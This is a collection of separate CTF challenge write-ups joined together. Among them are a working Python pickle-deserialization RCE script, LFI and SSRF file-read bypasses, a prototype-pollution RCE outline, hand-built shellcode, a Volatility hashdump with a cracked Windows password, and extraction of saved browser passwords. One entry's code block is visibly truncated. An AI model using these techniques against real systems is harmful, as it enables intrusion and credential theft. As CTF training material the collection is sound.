1. Once connected, we will check the emoji -> number relation in option 1, and record it into a dictionary.2. We then start the exam.3. Once supplied with an equation, we do some string manipulation to extract the emojis and arithmetic operations, and translate the emojis into numbers.4. We evaluate the equation, and supply the answer as number.5. We repeat step 3 and 4 500 times to get the flag. |
# Finding Geno
## Challenge Author(s):`t0uc4n`
## Description:`We know that our missing personβs name is Geno and that he works for a local firm called Bridgewater. What is his last name? (Wrap the answer in RS{})`
## Difficulty/Points: `Easy/50`
## FLAG:`RS{ikonomov}`# ## SolutionDoing a google search for *geno bridgewater linkedin* we can find a LinkedIn profile.
|
# AngstromCTF2021 JarBy looking at the sourcecode we see that the package `pickle` i imported and used for deserialization. Looking at the `pickle` docs we find the warning:```Warning: The pickle module is not secure. Only unpickle data you trust.```We then notice that the data isn't sanitized. This enables us to use a deserialization attack to gain RCE.
We notice in the dockerfile that the flag is set as an environmental variable. Therefore by printing the environmental variables we can get the flag.
Coding up the payload we get:```# Web application is vulnerable to a deserialization attack# https://medium.com/@abhishek.dev.kumar.94/sour-pickle-insecure-deserialization-with-python-pickle-module-efa812c0d565import osimport pickleimport requestsimport base64import subprocess
# Class returns output of env when deserializedclass MyEvilPickle(object): def __reduce__(self): return (subprocess.check_output, ('env', ))
# Wrap class in list so we can append things serversidepickle_data = pickle.dumps([MyEvilPickle()])
# Handle encoding and remove b''pickle_data = str(base64.b64encode(pickle_data))pickle_data = pickle_data[2:-1]
url = "https://jar.2021.chall.actf.co/"
# Contents cookie will be deserialized on servercookie = dict(contents=pickle_data)session = requests.Session()r = session.post(url+"/add", cookies=cookie, data={"item":"lol_hax"})
# Get and parse returned cookiesenv_vars = session.cookies.get_dict()["contents"]env_vars = pickle.loads(base64.b64decode(env_vars))env_vars = str(env_vars[0]).split("\\n")# Find and print flagfor i in env_vars: if "actf{" in i: print(i)```And we find the flag: `actf{you_got_yourself_out_of_a_pickle}` |
We see from the PHP file, that the query param `lang` will include a file from the filesystem. Its main use is to provide us with language support by using either `en.php` or `qw.php` as language files, but we see other uses for it - namely _local file inclusion_.
The only problem, is that there is a `str_replace` method being called, which removes any string of the form `../` from the query. But we need `../` to get to the root directory, where the flag is.
Since `str_replace` will run through our string only once, all we need to do is supply a buffer to the string `../` by making it for example into `....//` or `.../...//`, or anything similar to that. |
**Description**: Aliens heard of this cool newer language called Rust, and hoped the safety it offers could be used to improve their stream cipher.
**Stars**: 1/5
**Downloadable**:out.txt - encrypted filemain.rs - encryption algorithm
**Goal**: To find a vulnerability of the algorithm and decrypt the flag
**Solution**:
It is an encryption algorithm based on a randomly generated key with a static hardcoded seed. Solution was as simple as generating a decryption key, and use it to decrypt the payload.
My main challenge was rust itself, because I don't know this language at all and it seems quite different (especially in regards to typing) then all the others I use. In the end I went for a hybrid approach. I used a simple rust code to generate a key, and then python to decrypt it (could be also done in CyberChef or anywhere really):
```rustuse rand::{Rng,SeedableRng};use rand::rngs::StdRng;
fn get_rng() -> StdRng { let seed = 13371337; return StdRng::seed_from_u64(seed);}
fn main() -> std::io::Result<()> { let mut rng = get_rng(); for _ in 0..41 { print!("{:02x}", rng.gen::<u8>()); } Ok(())}```
```pythonf1 = open("keys.txt","r")keys = f1.readlines()f2 = open("out.txt","r")ciphertext=f2.read()
flag = ""
for i in range(0,len(keys)): flag = flag + chr(int(ciphertext[i*2]+ciphertext[i*2+1],16) ^ int(keys[i],16))
print(flag)``` |
# Wii Phit
RSA challenge
There is already an excellent writeup by the challenge organizers: one could recognize a well known equation related to the ErdΕsβStraus conjecture, some participants used Z3. We took a different approach. |
# Write-up of the challenge "Ping Pong"
This challenge is part of the "Prog" category and earns 45 points.
## Goal of the challenge
The objective of the challenge is to figure out what the differents words of the output.txt file mean. It a serie of "PING" and "PONG".
## Solution
The solution is that we have to replace the "PING" by 1 and the "PONG" by 0 to obtain a message in binary.We then need to convert this binary message into a ASCII one to obtain the flag
If you liked this writeup you can check our github with this [link](https://github.com/PoCInnovation/ReblochonWriteups/tree/master/PicoCTF2021) and star our repository. |
# Memedrive
#### Category : REV/BIN#### Points : 275 (31 solves)#### Author : degenerat3
## Challenge
The best Android app for viewing memes!
-degenerat3
Attachment : memedrive.apk
## Solution
I tried opening the apk using android device/emulator which gave me a screen asking for Username and Password.
Decoding the given apk using apktools :
```apktool d memedrive.apk```We get a folder "memedrive" containing all the resources of the original apk.
From the name we know it contains some memes.
These are located in `memedrive/res/drawable`.
These memes have file name starting with db.
`ls -l db*`
We see there are 10 images.
There are 2 memes that I thought were relevant to the challenge. One of them had a Flag picture with the text RITSEC and a XOR symbol in it.
The other one saying about encryption with Base64 and XOR.
After that I decompiled the apk using `jadx-gui`.
Going down to `com.ritsecctf.memedrive`, we see there are various classes.
Viewing the code of the class `InitStuff`, we see that the app is getting a text file from github with the name `flags.txt`.
> https://raw.githubusercontent.com/yung-g4ngst3r360noscope/gimmeThatData/main/flags.txt
If we download the txt file, we get 4000 lines of what looks like base64 encoded flags. Remember the meme about Base64+XOR? That is what will work here. But this is not enough. We need to find the key for XOR to get the flag.
If we view the code of the Showimg[1..10] functions, we see that the app is writing something to a text file called `key.log`.
I wrote a quick python script :
```pythonimport base64from pwn import xor
flags = open("flags.txt", 'r')lines = flags.readlines()key = '7NFSK27C'key = bytearray.fromhex(key.encode('ASCII').hex())for line in lines: line_bytes = line.encode('ascii') base64_bytes = base64.b64decode(line_bytes) letmein = xor(base64_bytes, key) message = letmein.decode('ascii') if('RS{' in message): print(message)```
I tried the keys one by one and the key that seemed to work was from the class `Showimg7` containing the key `7NFSK27C`.
Running the script, we get the flag :
`RS{4Ndr01d_rEvur5!NG_SuX_1ma0}`
[Original Writeup](https://github.com/p1xxxel/ctf-writeups/tree/main/2021/RITSEC/Memedrive)(https://github.com/p1xxxel/ctf-writeups/tree/main/2021/RITSEC/Memedrive) |
# gdpr
## Challenge:
Foiled by gdpr again...
`chal.b01lers.com:1004`
## Solution:
Weβre taken to a web page with a privacy policy. None of the links seem to be active, `robots.txt` doesnβt load, and the only thing that sticks out immediately is `comic_sans.woff2` (web font file) being downloaded.
If we refresh the page, we can see the entire page shifting. It looks like the policy weβre seeing is a GDPR modal popup.
If we view source and search for `flag`, we see a link to `/flag_policy`.
Navigating there, we receive our flag: `bctf{annoying_but_good?}`. |
The solution is quite simple, once we realise that we can curl for files inside a file system using `file://`.
With this in mind, we simply send `file:///flag` to our POST endpoint at `/api/curl`, and immediately get the flag |
The version of `flat` used seems to be vulnerable to prototype pollution, and we can find information on the payloads we can use, finding an example exploiting `pug`.
By having the exploit at hand, we can write a simple script which will send a POST request with the required `song.name` in the data, as well as with our payload.
The payload itself will allow us to do _Remove Code Execution_. More to the point, we will cat the flag file into the publically available `/static/js` folder, so we can navigate to it after the pollution exploit. |
# Rolling My Own [300 Points]
```I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. nc mercury.picoctf.net 35226```
## Hints
1. It's based on [this paper](https://link.springer.com/article/10.1007%2Fs11416-006-0011-3)2. Here's the start of the password: `D1v1`
------
We are given the ELF64 `remote` file.
Running it asks us to input a password. When we try to input any password, it seems to give `Segmentation fault`.
```./remotePassword: jdhhdquedSegmentation fault```
Let's first analyse it in IDA and look at the `main` function:
## Main Function
```C__int64 __fastcall main(int a1, char **a2, char **a3){ unsigned int lengthOfdest; // eax __int64 v4; // rdx int i; // [rsp+8h] [rbp-F8h] int j; // [rsp+8h] [rbp-F8h] int k; // [rsp+Ch] [rbp-F4h] void (__fastcall *v9)(__int64 (__fastcall *)()); // [rsp+10h] [rbp-F0h] _BYTE *ptr; // [rsp+18h] [rbp-E8h] int v11[4]; // [rsp+20h] [rbp-E0h] __int64 v12[2]; // [rsp+30h] [rbp-D0h] char v13[48]; // [rsp+40h] [rbp-C0h] BYREF char s[64]; // [rsp+70h] [rbp-90h] BYREF char dest[72]; // [rsp+B0h] [rbp-50h] BYREF unsigned __int64 v16; // [rsp+F8h] [rbp-8h]
v16 = __readfsqword(0x28u); setbuf(stdout, 0LL); strcpy(v13, "GpLaMjEWpVOjnnmkRGiledp6Mvcezxls"); v11[0] = 8; v11[1] = 2; v11[2] = 7; v11[3] = 1; memset(s, 0, sizeof(s)); memset(dest, 0, 0x40uLL); printf("Password: "); fgets(s, 64, stdin); s[strlen(s) - 1] = 0; // sets null char for ( i = 0; i <= 3; ++i ) { strncat(dest, &s[4 * i], 4uLL); // In each iteration (4 times): // - Append 4 chars of input // - Append 8 chars of string // Total length = 16 + 32 = 48 strncat(dest, &v13[8 * i], 8uLL); } ptr = malloc(64uLL); lengthOfdest = strlen(dest); sub_E3E((__int64)ptr, (__int64)dest, lengthOfdest); for ( j = 0; j <= 3; ++j ) // jumbles up MD5 output shellcode // // [1st MD5]: x x x x x x x x C C C C x x x x // [2nd MD5]: x x C C C C x x x x x x x x x x { for ( k = 0; k <= 3; ++k ) *((_BYTE *)v12 + 4 * k + j) = ptr[16 * k + j + v11[k]];// ptr saved to v12 } v9 = (void (__fastcall *)(__int64 (__fastcall *)()))mmap(0LL, 0x10uLL, 7, 34, -1, 0LL); v4 = v12[1]; *(_QWORD *)v9 = v12[0]; // pointer saved to v9 *((_QWORD *)v9 + 1) = v4; v9((__int64 (__fastcall *)())flag_func); // v9 is called as a function free(ptr); return 0LL;}```
*As you can see, I have added some comments and renamed some variables to the code. The following is a summary of what it does:*
- We first see that our input is saved into a variable `s`
```c printf("Password: "); fgets(s, 64, stdin); ```
- A `for` loop then appends **4 characters** of our input and **8 characters** of the string `strcpy(v13, "GpLaMjEWpVOjnnmkRGiledp6Mvcezxls");` in each iteration to the variable `dest`.
- We can deduce that the length of the input should be **16 bytes** since it runs 4 times * 4 = 16 chars. The total length of dest would hence be 32+16=48 chars
- ```c for ( i = 0; i <= 3; ++i ) { strncat(dest, &s[4 * i], 4uLL); // In each iteration (4 times): // - Append 4 chars of input // - Append 8 chars of string // Total length = 16 + 32 = 48 strncat(dest, &v13[8 * i], 8uLL); } ```
- Memory space is then allocated and saved to `ptr` in ` ptr = malloc(64uLL);`
- A function is called with `ptr`, `dest` and `lengthOfdest` which is the length of dest.
```c lengthOfdest = strlen(dest); sub_E3E((__int64)ptr, (__int64)dest, lengthOfdest); ```
## sub_E3E (Hashing Function)
```cunsigned __int64 __fastcall sub_E3E(__int64 mallocPTR, __int64 dest, int lengthOfdest){ int lengthQuotient; // eax int i; // [rsp+20h] [rbp-90h] int j; // [rsp+24h] [rbp-8Ch] int lenOfBytesToHash; // [rsp+28h] [rbp-88h] int lengthQuotient2; // [rsp+2Ch] [rbp-84h] char someMD5Struc[96]; // [rsp+30h] [rbp-80h] BYREF char MD5Hash[24]; // [rsp+90h] [rbp-20h] BYREF unsigned __int64 v13; // [rsp+A8h] [rbp-8h]
v13 = __readfsqword(0x28u); if ( lengthOfdest % 12 ) lengthQuotient = lengthOfdest / 12 + 1; else lengthQuotient = lengthOfdest / 12; // if factors of 12, come here lengthQuotient2 = lengthQuotient; for ( i = 0; i < lengthQuotient2; ++i ) { lenOfBytesToHash = 12; if ( i == lengthQuotient2 - 1 && lengthOfdest % 12 )// if last iteration && input is not perfect factors of 12 // get the length of the last chunk lenOfBytesToHash = lengthQuotient2 % 12; MD5_Init(someMD5Struc); MD5_Update(someMD5Struc, dest, lenOfBytesToHash);// Note: dest is a pointer // MD5_Update(Hash, data, len) - Hashes len of data into hash dest += lenOfBytesToHash; MD5_Final(MD5Hash, someMD5Struc); for ( j = 0; j <= 15; ++j ) *(_BYTE *)(mallocPTR + (j + 16 * i) % 64) = MD5Hash[j];// appends all 3 MD5 hashes into PTR } return __readfsqword(0x28u) ^ v13;}```
In sub_E3E, we see references to `MD5` hashing.
- The first part simply calculates how many blocks of 12 there are (the last block need not be a full block of 12)
```c if ( lengthOfdest % 12 ) lengthQuotient = lengthOfdest / 12 + 1; else lengthQuotient = lengthOfdest / 12; // if factors of 12, come here lengthQuotient2 = lengthQuotient; ```
- The `for` loop hashes **blocks of 12 characters (or less) of `dest`** into MD5 hashes. The MD5 hashes are appended to the variable `ptr` that was passed into the function.
- ```C for ( i = 0; i < lengthQuotient2; ++i ) { lenOfBytesToHash = 12; if ( i == lengthQuotient2 - 1 && lengthOfdest % 12 )// if last iteration && input is not perfect factors of 12 // get the length of the last chunk lenOfBytesToHash = lengthQuotient2 % 12; MD5_Init(someMD5Struc); MD5_Update(someMD5Struc, dest, lenOfBytesToHash);// Note: dest is a pointer // MD5_Update(Hash, data, len) - Hashes len of data into hash dest += lenOfBytesToHash; MD5_Final(MD5Hash, someMD5Struc); for ( j = 0; j <= 15; ++j ) *(_BYTE *)(mallocPTR + (j + 16 * i) % 64) = MD5Hash[j];// appends all 3 MD5 hashes into PTR } ```
Let's look back at the `main` function
- The `for` loop immediately after `sub_E3E` **saves certain parts of the MD5 hash** into a `v12` pointer (which is later called as "shellcode")
```C for ( j = 0; j <= 3; ++j ) // takes specific positions of the MD5 output shellcode marked by a "C" // // [1st MD5]: x x x x x x x x C C C C x x x x // [2nd MD5]: x x C C C C x x x x x x x x x x { for ( k = 0; k <= 3; ++k ) *((_BYTE *)v12 + 4 * k + j) = ptr[16 * k + j + v11[k]]; // ptr saved to v12 } ```
- ```c v4 = v12[1]; *(_QWORD *)v9 = v12[0]; // pointer saved to v9 *((_QWORD *)v9 + 1) = v4; v9((__int64 (__fastcall *)())flag_func); // v9 is called as a function ```
- `v12` pointer is then saved to `v9`, which is called along with the address of `flag_func` as the parameter.
Let's take a look at `flag_func`
## flag_func
```cunsigned __int64 __fastcall sub_102B(__int64 a1){ FILE *stream; // [rsp+18h] [rbp-98h] char s[136]; // [rsp+20h] [rbp-90h] BYREF unsigned __int64 v4; // [rsp+A8h] [rbp-8h]
v4 = __readfsqword(0x28u); if ( a1 == 0x7B3DC26F1LL ) // we need to pass a parameter with 0x7B3DC26F1 { stream = fopen("flag", "r"); if ( !stream ) { puts("Flag file not found. Contact an admin."); exit(1); } fgets(s, 128, stream); puts(s); } else { puts("Hmmmmmm... not quite"); } return __readfsqword(0x28u) ^ v4;}```
- It seems like when `flag_func` is called with the parameter with value `0x7B3DC26F1`, it will open the flag file (on the remote server) and send the flag to us.
------
## What we have to do
In summary, we have to: Write a **password** that gets converted to an **MD5 hash** with the **specific bytes which form a shellcode that calls `flag_func`** with the parameter `0x7B3DC26F1`
Let's take a closer look at the part where our shellcode is called **in assembly**:
```assemblymov rax, [rbp+var_F0] ; a pointer to the bytes from the MD5 hash (i.e our shellcode) is moved into raxlea rdi, flag_func ; sub_102B address passed into register rdicall rax ; rax (i.e our shellcode) is then called ```
Hence we can write the following shellcode:
```assemblymov rsi, rdi ; save address of flag_func into rsimov rdi, 0x7B3DC26F1 ; move required value into rdi (pass parameters via registers)call rsi```
We can then assemble it using `pwntools` `asm()`
```python>>> shellcode = """... mov rsi, rdi... mov rdi, 0x7B3DC26F1... call rsi... """>>> asm(shellcode, arch="amd64").hex()'4889fe48bff126dcb307000000ffd6'```
I then wrote a [bruteforce script](https://github.com/IRS-Cybersec/ctfdump/blob/master/picoCTF/2021/RE/Rolling%20My%20Own/RMOBruteforce.py) to **look for the password** that **generates the MD5 hashes** with the bytes of the shellcode we need.
And we get the following password:
```Found smth!D1v1Found smth!d3AnFound smth!dC0nFound smth!\rpB```
Entering it into the remote server gets us the flag:
```nc mercury.picoctf.net 35226Password: D1v1d3AndC0n\rpBpicoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_dae85416}```
------
## Learning Points
- Anti-decompilation technique using hash functions (as mentioned in the research paper)- Writing "shellcode"
***Side-note:*** Some writeups state the password as `D1v1d3AndC0nqu3r`, which is probably the intended password. However, we only need the specific bytes at specific positions of the MD5 hash to be the ones we wanted for the program to work. Hence `\rpB` works as well. |
# Objects**Category: Web**
The site returns a page that says "Hi" and nothing else. We can open `/robots.txt` to find some endpoints.
`/robots.txt````User-agent: GoogleDisallow: /ajax/Disallow: /album.phpDisallow: /l0g.hackerDisallow: /index.php~```
Let's look at some of these:
`/l0g.hacker````Mon May 27 2019 10:01:40 GMT+0800 (UTC) Start serviceMon May 27 2019 13:24:45 GMT+0800 (UTC) Start databaseSat May 20 2019 22:53:32 GMT+0800 (UTC) Start UpdatedFri May 30 2019 12:46:59 GMT+0800 (UTC) Flag Added Here```
`/index.php~```` ObjectIds are small, likely unique, fast to generate, and ordered. ObjectId values are 12 bytes in length, consisting of:
> a 4-byte timestamp value, representing the ObjectId's creation, measured in seconds since the Unix epoch
> a 5-byte random value
> a 3-byte incrementing counter, initialized to a random value
I used [this site](https://www.toolswow.com/generator/mongo-objectid-timestamp-converter) to try and convert the first provided ID (`5ceb45045c1fa2a0df9f3da7`) to a date.
The minute and seconds line up with the first timestamp in the log file. It looks like due to time zone differences the time shown in the log file is 12 hours ahead of the time in the ID.
Keeping that in mind, lets generate the hex timestamp using the time of the "Flag Added Here" log:
The first 4 bytes are the timestamp value. We can pluck `5cef6043` as our prefix.
Next, the 5 byte random value. It is identical in all our example IDs: `5c1fa2a0df`.
Finally, the 3 byte incremented value. We can see the other IDs have `9f3da7`, `9f3da8`, and `9f3da9`, which means the next iteration is `9f3daa`.
Putting it all together, our ID is `5cef60435c1fa2a0df9f3daa`.
Requesting `GET /index.php?flag_id=5cef60435c1fa2a0df9f3daa` returns our flag:```FLAG{0bj3ct_Id$_!s_w0Nd3rFul}``` |
E.Tree was a Python Flask application that used XPATH to parse XML files. We were presented with an example XML file from where we could see that some users have an additional selfDestructCode element set. Knowing this, we were able to do an error-based XPATH injection to determine the flag. |
# Let's Get Dynamic [150 Points] - 231 Solves
```Can you tell what this file is reading? chall.S```
We are given a `chall.s`, which is is x86 assembly code.
I first tried to annotate and attempt to solve the challenge without relying on dynamic analysis. But after sometime, it proved to be quite tedious as I needed some way to "clean" the strings and hexadecimal values which were being moved into the registers.
Hence, I decided to compile `chall.s` using the following commands:
```bashld -s -o file file.out #Note you have to use ld instead of nasm as this is AT&T syntax, not intelgcc -m64 file.out -o file #Since it uses C libraries, you have to use gcc to link it```
Throwing it into IDA, we get:
```cint __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax int i; // [rsp+1Ch] [rbp-114h] char s2[64]; // [rsp+20h] [rbp-110h] BYREF char s[64]; // [rsp+60h] [rbp-D0h] BYREF char v7[8]; // [rsp+A0h] [rbp-90h] BYREF __int64 v8; // [rsp+A8h] [rbp-88h] __int64 v9; // [rsp+B0h] [rbp-80h] __int64 v10; // [rsp+B8h] [rbp-78h] __int64 v11; // [rsp+C0h] [rbp-70h] char v12[16]; // [rsp+C8h] [rbp-68h] BYREF __int64 v13[6]; // [rsp+E0h] [rbp-50h] __int16 v14; // [rsp+110h] [rbp-20h] unsigned __int64 v15; // [rsp+118h] [rbp-18h]
v15 = __readfsqword(0x28u); *(_QWORD *)v7 = 0xBC85B660F86F4BLL; v8 = 0x1681DB12439C495CLL; v9 = 0x42D1A76C289682B0LL; v10 = 0xF36D20D4AD376ECCLL; v11 = 0xEEF9E715D337B2A2LL; strcpy(v12, "\xF8\xF0\xAB\x77\x9C\xBD\xFD\x11o"); v13[0] = 0x6FEFC7E21F8A1428LL; v13[1] = 0x55FFF4606FEB2A23LL; v13[2] = 0x19A7901244A3EE87LL; v13[3] = 0x8D535EAE906117F6LL; v13[4] = 0x85A0A444D075F5CELL; v13[5] = 0x48F6E1952EA1FDF1LL; v14 = 0x31; fgets(s, 49, _bss_start); for ( i = 0; i < strlen(v7); ++i ) s2[i] = *((_BYTE *)v13 + i) ^ v7[i] ^ i ^ 19; if ( !memcmp(s, s2, 49uLL) ) { puts("No, that's not right."); result = 1; } else { puts("Correct! You entered the flag."); result = 0; } return result;}```
It seems like our input is first obtained from `fgets` and saved into `s`
We can note that the length of the flag is `49` characters based off `memcmp(s, s2, 49uLL)` and `fgets(s, 49, _bss_start)`.
A char array `s2` is then populated through some xoring operations based off `v13` and `v7`(Note: `v7` is an array which includes `v8`, `v9`, `v10` and `v11`) before being **compared with our input**. Hence we can deduce that `s2` contains the **decoded flag**. Let's head over to `gdb` and just get it's value!
But... after stopping at the compare instruction..
```assembly[----------------------------------registers-----------------------------------]RAX: 0x7fffffffdca0 --> 0x7fffffff000a --> 0x0RBX: 0x7RCX: 0x7fffffffdc60 --> 0x4654436f636970 ('picoCTF')RDX: 0x31 ('1')RSI: 0x7fffffffdc60 --> 0x4654436f636970 ('picoCTF')RDI: 0x7fffffffdca0 --> 0x7fffffff000a --> 0x0RBP: 0x7fffffffdd70 --> 0x555555554990 (<__libc_csu_init>: push r15)RSP: 0x7fffffffdc40 --> 0x7fffffffde58 --> 0x7fffffffe081 RIP: 0x55555555493e (<main+372>: call 0x555555554690 <memcmp@plt>)R8 : 0x7ffff7dcf8c0 --> 0x0R9 : 0x7ffff7fdf4c0 (0x00007ffff7fdf4c0)R10: 0x555555756010 --> 0x0R11: 0x346R12: 0x5555555546c0 (<_start>: xor ebp,ebp)R13: 0x7fffffffde50 --> 0x1R14: 0x0R15: 0x0EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x555555554933 <main+361>: mov edx,0x31 0x555555554938 <main+366>: mov rsi,rcx 0x55555555493b <main+369>: mov rdi,rax=> 0x55555555493e <main+372>: call 0x555555554690 <memcmp@plt> 0x555555554943 <main+377>: test eax,eax 0x555555554945 <main+379>: je 0x55555555495a <main+400> 0x555555554947 <main+381>: lea rdi,[rip+0xca] # 0x555555554a18 0x55555555494e <main+388>: call 0x555555554660 <puts@plt>```
We realise that `rsi` only contains the string `picoCTF`, which is clearly the beginning of the flag, but nothing else.
At this point I got stuck and sought help from a teammate. Apparently, what happened is that there is a null character `\x00` inside `v7`. Hence, `v7` looks something like `0xBC85B660F86F4B00` in little-endian, which means that `for ( i = 0; i < strlen(v7); ++i ) s2[i] = *((_BYTE *)v13 + i) ^ v7[i] ^ i ^ 19;` **runs only 6 times since `strlen` returns `6` only** (producing `picoCTF` only)
If we convert it to big-endian, `v7` will look something like `0x00BC85B660F86F4B`, and we can write a python script to decrypt it: *(Alternatively, you could always patch the binary to fix the `strlen`)*
```pythonv14 = [""] * 7
v14[0] = "6FEFC7E21F8A1428"v14[1] = "55FFF4606FEB2A23"v14[2] = "19A7901244A3EE87"v14[3] = "8D535EAE906117F6"v14[4] = "85A0A444D075F5CE"v14[5] = "48F6E1952EA1FDF1"v14[6] = "31"
v12HexArray = []for x in v14: truncated = x.zfill(8) tbytes = bytearray.fromhex(truncated) tbytes.reverse() truncated = tbytes.hex() for y in range(0, len(truncated), 2): v12HexArray.append(truncated[y:y+2])
v7 = [""] * 7 v7[0] = "00BC85B660F86F4B" #There is a null byte at the front (in MSB), which causes everything to be deviated by 1 #(This would be at the back in LSB, which causes the strlen() function to return an incorrect length and only return "picoCTF")v7[1] = "1681DB12439C495C"v7[2] = "42D1A76C289682B0"v7[3] = "F36D20D4AD376ECC"v7[4] = "EEF9E715D337B2A2"v7[5] = "11FDBD9C77ABF0F8"v7[6] = "6F"
v7HexArray = []
for x in v7: truncated = x.zfill(8) tbytes = bytearray.fromhex(truncated) tbytes.reverse() truncated = tbytes.hex() for y in range(0, len(truncated), 2): v7HexArray.append(truncated[y:y+2])
flag = []for x in range(0, len(v7HexArray), 1): flag.append(chr(int(v12HexArray[x],16) ^ int(v7HexArray[x], 16) ^ x ^ 19))print(''.join(flag))```
And we get the flag:
```picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_273a6b6e}```
## Learning Points
- Compiling assembly into binaries |
# Hurry Up! Wait!
```svchost.exe```
We are given the file `svchost.exe`, but `file` command reveals that it is actually an ELF64
Looking at `main`, we see that is is pretty short:
```c char v4[8]; // [rsp+28h] [rbp-8h] BYREF
gnat_argc = a1; gnat_argv = (__int64)a2; gnat_envp = (__int64)a3; __gnat_initialize(v4); sub_1D7C(); sub_298A(); sub_1D52(); __gnat_finalize(); return (unsigned int)gnat_exit_status;```
Looking at `sub_298A()`, we spot it calling a lot more functions, and each function appears to print a letter of the flag like this:
```c__int64 sub_298A(){ ada__calendar__delays__delay_for(1000000000000000LL); sub_2616(); // p sub_24AA(); // i sub_2372(); // c sub_25E2(); // o sub_2852(); // C sub_2886(); // T sub_28BA(); // F sub_2922(); // { sub_23A6(); // d sub_2136(); // 1 sub_2206(); // 5 sub_230A(); // a sub_2206(); // 5 sub_257A(); // m sub_28EE(); // _ sub_240E(); // f sub_26E6(); // t sub_2782(); // w sub_28EE(); // _ sub_2102(); // 0 sub_23DA(); // e sub_226E(); // 7 sub_21D2(); // 4 sub_2372(); // c sub_23A6(); // d sub_21D2(); // 4 return sub_2956(); // }}```
Hence the flag is:
```picoCTF{d15a5m_ftw_0e74cd4}```
Overall, a pretty brainless challenge |
Given LCG equation. Write script to find the seed using z3-python. Derive the next password from the seed found in the script.
[Link to writeup ](https://github.com/Team-Shakti/CTF-Write-ups/blob/master/docs/crypto/TamuCTF/pwngen/writeup.md) |
* Volatility process list will show Thunderbird* Dump Thunderbird files* Parse Thunderbird files* Extract attachment and use password in email data to unlock for flag |
# The Matrix
## Challenge:
Oh no! It looks like the robots have taken over! Infilitrate their site and save the world! But beware, they only allow one of them to access it.
`curl http://chals5.umdctf.io:4000`
## Solution:
The web page has a few links, with the most prominent being βEnter the matrix!β in the center.
If we click it, weβre told βThis page is for robots only, you are not allowed to access this content!β.
If we update our user agent to `Googlebot/2.1 (+http://www.google.com/bot.html)`, weβre immediately given access and a hello, βGreetings Fellow Robot Overlordβ.
Our flag is displayed for us: `UMDCTF-{r0b0t_r3b3ll!0n}`. |
# **Presentation**The objective is to find the flag hidden in the site.# **Flaw Exploited**The flaw exploited is in the HTTP request. Indeed this one returns an interesting element. There is also a flaw in the files left in the site.# **Solution**Looking at the source code of the site, we see that he writes that the developer should not forget to remove the admin.php.bak.We can therefore try to recover the file from the url.We see in the file that at the end of the php code, it executes the command`echo flag`We must therefore try to access the admin.php file.I have personally used the Burpsuite tool to retrieve the requests that are returned.When we try to access admin.php the site sends us a request with the flag inside.
If you liked this writeup you can check our github with this [link](https://github.com/PoCInnovation/ReblochonWriteups/tree/master/PicoCTF2021) and star our repository.
Equipe Reblochon HeroCTF |
# We need you 2/5
By [Siorde](https://github.com/Siorde)
## DescriptionIt must be their team name.
For this second step, find the user's name and password in clear text.
## SolutionI alredy had to do this in a previous CTF so i knew how to do it.First we list the registry hive```$ vol.py --profile=Win7SP1x86_23418 -f ../capture.mem hivelistVolatility Foundation Volatility Framework 2.6.1Virtual Physical Name---------- ---------- ----0x8b0a1008 0x6b1ed008 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0x8b12d008 0x697f4008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0x9b1d89c8 0x79a459c8 \SystemRoot\System32\Config\SECURITY0x9fee59c8 0x3c8ab9c8 \??\C:\Users\Razex\ntuser.dat0x9fefc008 0x6fd89008 \??\C:\Users\Razex\AppData\Local\Microsoft\Windows\UsrClass.dat0x823859c8 0x2b5d99c8 \SystemRoot\System32\Config\SAM0x8940c5e8 0x2d5415e8 [no name]0x8941a2c0 0x2d58d2c0 \REGISTRY\MACHINE\SYSTEM0x89441008 0x2d436008 \REGISTRY\MACHINE\HARDWARE0x894ca4c8 0x5fa804c8 \SystemRoot\System32\Config\DEFAULT0x895975c0 0x2d4165c0 \Device\HarddiskVolume1\Boot\BCD0x8a5fb008 0x13776008 \SystemRoot\System32\Config\SOFTWARE0x8b04e9c8 0x3e6ad9c8 \??\C:\System Volume Information\Syscache.hve```Then we need to extract the hashes```$ vol.py --profile=Win7SP1x86_23418 -f ../capture.mem hashdump -y 0x8941a2c0 -s 0x823859c8 Volatility Foundation Volatility Framework 2.6.1Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Invit:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Razex:1000:aad3b435b51404eeaad3b435b51404ee:78d9c7e905c695087ee3baa755ce43e4:::```We have the username, and going to https://crackstation.net gave me the password (you need to paste only the last part : 78d9c7e905c695087ee3baa755ce43e4)So the flag is Hero{Razex:liverpoolfc123}. |
# 1FA Guy**Category: Forensics**> https://drive.google.com/file/d/1tFys7Hh8kRtdMdPa5XDbzJz55sBxmvFw/view?usp=sharing
> We have obtained these files from a Hacker's computer known as 1FAGuy. Can you find the password of their C&C?
The download link was a compressed `AppData` folder. We can see the programs the user has installed from the folder contents:```$ ls AppData/*AppData/Local: Adaware 'Application Data' ConnectedDevicesPlatform DBG Google History Lavasoft Microsoft Microsoft_Corporation Mozilla Packages PeerDistRepub Programs Temp 'Temporary Internet Files'
AppData/LocalLow:BitTorrent Microsoft Mozilla
AppData/Roaming:Adobe BitTorrent DMCache IDM Lavasoft Microsoft Mozilla Notepad++ WinRAR```
Considering we know we are looking for a password, the result is probably stored in a web browser's folder.
Using [HackBrowserData](https://github.com/moonD4rk/HackBrowserData) we can extract the information.
## Extracting Google Chrome Data
```./hack-browser-data -b chrome -p ../ctf/2021/securebug-odin/forensics/1FAGuy/AppData/Local/Google/Chrome/User\ Data/Default -k ../ctf/2021/securebug-odin/forensics/1FAGuy/AppData/Local/Google/Chrome/User\ Data/Local\ State[x]: Get 1 download history, filename is results/chrome_download.csv[x]: Get 1 passwords, filename is results/chrome_password.csv[x]: Get 0 credit cards, filename is results/chrome_credit.csv[x]: Get 4 bookmarks, filename is results/chrome_bookmark.csv[x]: Get 6 cookies, filename is results/chrome_cookie.csv[x]: Get 10 history, filename is results/chrome_history.csv```
Let's take a look at that passwords file:
